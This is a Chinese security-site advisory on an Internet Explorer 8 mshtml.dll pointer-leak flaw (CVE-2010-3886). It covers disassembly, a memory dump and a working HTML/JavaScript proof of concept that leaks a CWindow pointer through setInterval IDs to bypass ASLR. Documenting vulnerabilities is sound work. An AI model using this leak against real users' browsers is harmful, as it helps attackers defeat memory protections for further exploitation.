网通主站  |  电信镜像

软件下载 黑客软件 安全相关 动画教程 常用软件 杀毒专栏 最新更新 国外黑软 手机软件 股票软件
技术教程 新闻动态 黑客技术 安全漏洞 加密解密 安全防御 病毒资讯 技术文摘 网络杂文 以前教程
软件教程 黑软教程 安软教程 系统工具 网络工具 多媒体类 图形图像 联络聊天 实用工具

QQ 专 区

返回首页
当前位置: 主页 > 安全漏洞 > Microsoft >

Microsoft IE mshtml.dll库远程信息泄露漏洞

发布日期:2010-06-29 更新日期:2010-06-30 受影响系统: Microsoft Internet Explorer 8.0 描述: BUGTRAQ ID: 41247 CVE ID: CVE-2010-3886 Internet Explorer是Windows操作系统中默认捆绑的web浏览器。 在CWindow的构造函数中变量IDEvent被初始化为1: M

  

发布日期:2010-06-29

更新日期:2010-06-30
受影响系统:
Microsoft Internet Explorer 8.0
描述:
BUGTRAQ  ID: 41247
CVE ID: CVE-2010-3886
Internet Explorer是Windows操作系统中默认捆绑的web浏览器。
在CWindow的构造函数中变量IDEvent被初始化为1:
Module: mshtml.dll Vista SP2
.text:7403EC0A                 mov     dword ptr [ecx+30h], 1 ; TimerID_Counter = 1
每次setInterval或setTimeout创建一个Timeout事件时都会通过以下函数注入到列表中:
Module: mshtml.dll Vista SP2
text:741170E5 ; public: long __thiscall CTimeoutEventList::InsertIntoTimeoutList(struct TIMEOUTEVENTINFO *, unsigned int *, int)
.text:741170E5 ?InsertIntoTimeoutList@CTimeoutEventList@@QAEJPAUTIMEOUTEVENTINFO@@PAIH@Z proc near
.text:741170E5    ; CODE XREF: CWindow::AddTimeoutCode(tagVARIANT *,ushort *,long,long,uint *)+73p
.text:741170E5      ; CWindow::FireTimeOut(uint)+14DFB8p
在以下代码中:
Module: mshtml.dll Vista SP2
text:741170E5 ; public: long __thiscall CTimeoutEventList::InsertIntoTimeoutList
[...]
.text:74117100                 mov     eax, [esi+30h] ;  p->IDEvent
.text:74117103                 mov     ecx, [ebp+arg_0] ; TimerEvent *t;
.text:74117106                 add     eax, esi        ; s = p + p->IDEvent; // Oops!
.text:74117108                 mov     [ecx+0Ch], eax   ; t->ID = s
.text:7411710B                 inc     dword ptr [esi+30h] p->IDEvent++
为了不返回纯顺序的可预测ID,微软添加了一个magic value,但这个值是最终表示打开浏览器窗口的CWindow对象的指针成员,因此即使在重载后,只要没有关闭浏览器的例程,该值在内存中是持续性的。考虑到IDEvent是可预测的,且指针偏移时已知的,因此可以推测出到持续性CWindow对象的指针(leakedPointer - ID_Counter - 0x3c),获得执行ROP/防ASLR攻击的有用地址信息。
06930dd8  6b0253f8 mshtml!CWindow::`vftable'
06930ddc  00000004
06930de0  00000008
06930de4  070f5720
06930de8  00000000
06930dec  6b028ad8 mshtml!CWindow::`vftable'
06930df0  6b04de30 mshtml!CWindow::`vftable'
06930df4  6aff257c mshtml!CWindow::`vftable'
06930df8  6aff2220 mshtml!CWindow::`vftable'
06930dfc  6aff25a0 mshtml!CWindow::`vftable'
06930e00  068ee3b0
06930e04  00000000
06930e08  068f4aa8
06930e0c  06926be0
06930e10  00000000
06930e14  6b01f5a4 mshtml!CDataAry::`vftable'
06930e18  00000000
06930e1c  00000000
06930e20  00000000
06930e24  6b01f5a4 mshtml!CDataAry::`vftable'
06930e28  00000000
06930e2c  00000000
06930e30  00000000
06930e34  6b01f5a4 mshtml!CDataAry::`vftable'
06930e38  00000000
06930e3c  00000000
06930e40  00000000
06930e44  00000001
06930e48  00000000
06930e4c  00000000
06930e50  00000000
06930e54  00000000
<*来源:Rubén Santamart
  链接:http://reversemode.com/index.php?option=com_content&task=view&id=68&Itemid=1
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<html>
    <head>
        <title>mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rub閚 Santamarta www.reversemode.com</title>
        <script type='text/javascript'>
                        var i = 1; // counter       
            function LeakOrDie() {
                var t;
                            t=setInterval("foo()",2000);
                            t-=i;
                            document.getElementById('atun').innerHTML = '<b> Pointer leaked:</b> '+'0x'+t.toString(16);
                            i++;
            }
              function foo()
              {
                  return;
              }
        </script>
    </head>
    <body>
    <INPUT TYPE=button VALUE="Press to leak"  ONCLICK="LeakOrDie();">
    <br /><br />
        <div id='atun'>        </div>
   </body>
</html>
建议:
厂商补丁:
Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/windows/ie/default.asp
 
------分隔线----------------------------